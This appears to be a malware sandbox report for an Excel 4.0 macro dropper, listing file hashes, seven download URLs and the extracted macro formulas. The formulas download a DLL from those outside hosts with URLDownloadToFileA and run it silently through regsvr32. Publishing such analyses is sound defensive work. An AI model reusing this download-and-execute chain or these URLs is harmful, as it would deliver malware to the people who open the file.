Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    bb7118889cc36bfef1526b86531da8b4a70cc3827a20042582c2dc074a3d8615

  • Size

    21KB

  • Sample

    241111-zvm5bazkep

  • MD5

    ec213c9f4a4e25f72f372fde1b86d619

  • SHA1

    8fbd4c40ff18f2cb6728ee7ab5ebd98a790d6453

  • SHA256

    bb7118889cc36bfef1526b86531da8b4a70cc3827a20042582c2dc074a3d8615

  • SHA512

    2cfd70d11d57b993ba743abde76ee189290d6dd04f6ed0db1d03672266652b10e3b19b966a3607ff92f9944df9281c5a4abcad57f68f4e6bb3f674da1078c93d

  • SSDEEP

    384:pDfknuAi/NjA2S8EibbwBlwW5SYrLb5CzgObff9kC+xbX7sbEtF:l4sN3zXuFCBn9kC+xbLb

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://buchhave.net/cache/t82rF5S/

https://www.bellaitaliatour.com/gite/YcFHn/

http://brainora.com/brand/Xf7eDVe/

http://breustchabrierarchitectes.fr/bca/CW5pD/

https://biasikazan.hu/system/NZv3MZ0Kji27aPVe/

http://beta.orlandofoodtours.com/wp-content/uploads/mrJcJgcwH8p/

http://bestsafe.co.uk/cgi-bin/S29alEny/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://buchhave.net/cache/t82rF5S/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.bellaitaliatour.com/gite/YcFHn/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://brainora.com/brand/Xf7eDVe/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://breustchabrierarchitectes.fr/bca/CW5pD/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://biasikazan.hu/system/NZv3MZ0Kji27aPVe/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beta.orlandofoodtours.com/wp-content/uploads/mrJcJgcwH8p/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bestsafe.co.uk/cgi-bin/S29alEny/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://buchhave.net/cache/t82rF5S/

xlm40.dropper

https://www.bellaitaliatour.com/gite/YcFHn/

xlm40.dropper

http://brainora.com/brand/Xf7eDVe/

xlm40.dropper

http://breustchabrierarchitectes.fr/bca/CW5pD/

xlm40.dropper

https://biasikazan.hu/system/NZv3MZ0Kji27aPVe/

xlm40.dropper

http://beta.orlandofoodtours.com/wp-content/uploads/mrJcJgcwH8p/

xlm40.dropper

http://bestsafe.co.uk/cgi-bin/S29alEny/

Targets

    • Target

      bb7118889cc36bfef1526b86531da8b4a70cc3827a20042582c2dc074a3d8615

    • Size

      21KB

    • MD5

      ec213c9f4a4e25f72f372fde1b86d619

    • SHA1

      8fbd4c40ff18f2cb6728ee7ab5ebd98a790d6453

    • SHA256

      bb7118889cc36bfef1526b86531da8b4a70cc3827a20042582c2dc074a3d8615

    • SHA512

      2cfd70d11d57b993ba743abde76ee189290d6dd04f6ed0db1d03672266652b10e3b19b966a3607ff92f9944df9281c5a4abcad57f68f4e6bb3f674da1078c93d

    • SSDEEP

      384:pDfknuAi/NjA2S8EibbwBlwW5SYrLb5CzgObff9kC+xbX7sbEtF:l4sN3zXuFCBn9kC+xbLb

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks